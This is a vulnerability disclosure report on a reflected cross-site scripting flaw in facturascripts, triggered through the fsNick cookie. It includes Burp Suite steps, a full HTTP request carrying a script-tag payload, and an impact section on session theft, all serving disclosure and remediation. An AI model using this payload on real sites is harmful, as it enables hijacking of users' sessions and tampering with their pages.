Cross-site Scripting (XSS) via Cookie Value in neorazorx/facturascripts
Reported on
May 4th 2022
Description
The is an XSS could be trigger via cookie value.
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Proof of Concept
1.Go to a random page, intercept the request using BurpSuite.
2.Change the Cookie's Value of fsNick
to abc<script>alert(origin)</script>
3.The script tag will be reflected in web page
Image
- Request
GET /facturascripts/ HTTP/1.1
Referer: https://www.google.com/search?hl=en&q=testing
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Cookie: fsNick=abc<script>alert(origin)</script>;fsLogkey=8EVl2Ac1dQMy0b5aDWgpvehmwNIkiSxuJ76HKZjLzCX9YBGTr4Utf3onPqsRFO;fsLang=en_EN;fsCompany=1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: my.facturascripts.site
Connection: Keep-alive
- XSS Triggered
Impact
1.Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.
2.Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.